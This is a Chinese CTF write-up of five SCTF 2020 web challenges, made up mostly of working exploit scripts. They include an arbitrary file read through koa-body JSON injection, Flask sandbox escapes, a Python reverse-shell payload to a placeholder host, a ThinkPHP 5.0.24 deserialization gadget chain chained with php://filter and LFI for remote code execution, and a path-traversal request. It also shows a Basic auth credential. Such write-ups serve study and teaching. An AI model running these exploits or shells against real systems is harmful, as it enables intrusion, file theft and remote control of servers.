SCTF 2020 部分题解

Clouddisk

给了源码

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"


app.use(koaBody({
  multipart: true,
  formidable: {
      maxFileSize: 2000 * 1024 * 1024 
  }
}));


router.post('/uploadfile', async (ctx, next) => {
    const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)
    return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  });


router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "SCTF{no_such_file_~}"
  }
});


router.get('/', async (ctx, next) => {
  ctx.response.type = 'html';
  ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
  console.log('This server is running at port: 3333')
})

koa-bodyparser的issue.

https://github.com/dlau/koa-body/issues/75

在/uploadfile 的路由去POST Json

poc:

{"files":{"file":{"name":"eki","path":"/etc/passwd"}}}

这里相当于file.path变成/etc/passwd

然后在/download路由下下载得到flag

exp

#coding=utf-8
import requests
import time

url="http://120.79.1.217:7777/"

s = requests.Session()

def upload(file):
    json = {"files":{"file":{"name":"eki","path":file}}} 
    req = s.post(url+"uploadfile",json=json)
    print req.text
    #print 
    return req.text[38:]

def download(name):
    req = s.get(url+"downloadfile/%s" % (name))
    return req.text

def exploit(name):
    text = download(upload(name))
    if text != "Not Found":
        retf = open(name.replace("/",''),"wb")
        retf.write(text)
        retf.close()

exploit("/app/flag")

pysandbox

可用字符集

*+,-./0123456789:;<=>[email protected][\]^_`abcdefghijklmnopqrstuvwxy

修改flask app 配置 设置当前目录为静态目录直接通过http请求读

import requests

url = "http://39.104.25.107:10000/"

s = requests.Session()

def exp(poc1,poc2):
    data = {
    "cmd":poc1
    }
    header = {
        "User-Agent":poc2
    }
    req = s.post(url,data=data,headers=header)
    print req.text

exp("app.static_folder=request.user_agent.string",".")
exp("app.static_url_path=request.user_agent.string","/sadsadsasd")

req = s.get(url+"static/flag")

print req.text

pysandbox2

执行命令时可以执行类似 __builtins__.exec=open ,使得环境的内建方法被替换。

这里通过重载[]的方式实现函数调用

import requests

url ="http://39.104.25.107:10004/"

s= requests.Session()

def exp(poc1,poc2):
    data = {
        "cmd":poc1
    }
    header = {
        "User-Agent":poc2
    }
    req = s.post(url,data=data,headers=header)
    print req.text

exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string]",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("XXX.XXX.XXX.XXX",XXXX));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

defender

进去跳转到test目录下,发现应该是个纯静态,F12提示了一个路径

http://8.208.102.48/public/nationalsb/login.php
`

HTTP基础认证

在这个页面的js里可以看到用户名和部分密码

http://8.208.102.48/public/nationalsb/login.html

用BurpSuite爆破得到用户名密码

存在LFI 利用TP5.0.24的写文件漏洞,实现rce

import requests
import base64
import urllib
import hashlib
import random

url = 'http://8.208.102.48/public/'

s = requests.session()

def randomstr():
    return ''.join(random.sample('12234567890zyxwvutsrqponmlkjihgfedcba',6))

def md5(p):
    h = hashlib.md5()
    h.update(p)
    return h.hexdigest()

def exp(p,rs):
    poc='O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22{2}%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A{0}%3A%22{1}%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D'.format(len(p),p,rs)

    #print poc
    print urllib.quote(base64.b64encode(urllib.unquote(poc)))
    params= {
        "s3cr3tk3y":base64.b64encode(urllib.unquote(poc))
    }
    req = s.get(url+"index.php/index/index/hello",params=params)

def name2(rs):
    return "a.php"+md5('tag_'+md5(rs))+".php"

def name(p,rs):
    return p+md5('tag_'+md5(rs))+".php"

def watchlog():
    req= s.get(url+"log.txt")
    print req.text

def test(p):
    req = s.get(url+"index.php/")
    print req.text

def inc(p):
    header={
        "Authorization":"Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE="
    }
    data = {
        "file":"/tmp/"+p
    }
    req = s.post(url+"nationalsb/login.php",headers=header,data=data)
    print req.text
    return req.text

#exp('php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>')
#watchlog()

def exploit(p):
    rs=randomstr()
    #exp('php://filter/write=string.rot13/resource=../../../../../../../../tmp/'+p,rs)
    exp('php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=../../../../../../../../tmp/aaa'+p+"/../a.php",rs)
    #exp('php://filter/write=string.strip_tags/resource=../../../../../../../../tmp/'+p,rs)
    watchlog()
    inc(name2(rs))

exploit('PD9waHAgc3lzdGVtKCdjYXQgbG9naW4ucGhwJykgPz5h')

BestLanguage

直接路径穿越了

好像是非预期

GET /index.php/tmp/../../flag HTTP/1.1
Host: 39.104.93.188
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache, private
Date: Mon, 06 Jul 2020 02:21:35 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkxTM1JzK1lBZVBLSW1wYXhSQ3cwb3c9PSIsInZhbHVlIjoiZEdEd3lxRVhEWGZQcThMUkZHb294WXU2MHVPTTJPVHBaRkdvUk5tMXZsUnorMjJEYzFVV0N6eXYxQ3hhNFFaSmdtdERZN0hsZVA3eCt1a1RpR2pRMGc9PSIsIm1hYyI6IjRmYjA1NjEyNzA2ODY2NTAyYjBhMzU2N2I1MWM3ZjM1MGIxNTI5MzBmNjFlMDIxMWVkNWVjMzhjNTVlZjRmODMifQ%3D%3D; expires=Mon, 06-Jul-2020 04:21:35 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6InRIdEpIaEd1ZGdSNWVwMHhEajJDd3c9PSIsInZhbHVlIjoiTWtJQkM4aVNWYTU4YTZRektuNkg0YUV2eGdVa3JxR1lJSXhLZzJtK3hEbnRvd2x4WWprRk1zcXZvUHNCYXpKRENkQ09jZzd1TmhIR0txVXUxTkp5K3c9PSIsIm1hYyI6IjA4ODYzMzllYzg3OGZjYjZhMWI3Njc5MGU0MTllZDdiNGQwOTlmYTA2Y2E2ZDE1ODFhODIyNTRmZGM4OTAwMzAifQ%3D%3D; expires=Mon, 06-Jul-2020 04:21:35 GMT; Max-Age=7200; path=/; httponly
Content-Length: 41

SCTF{B3st_1angu4g3_F0r_Uohhhhhhhhhh1l1l1}
© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-09-05 12:07:36

results matching ""

    No results matching ""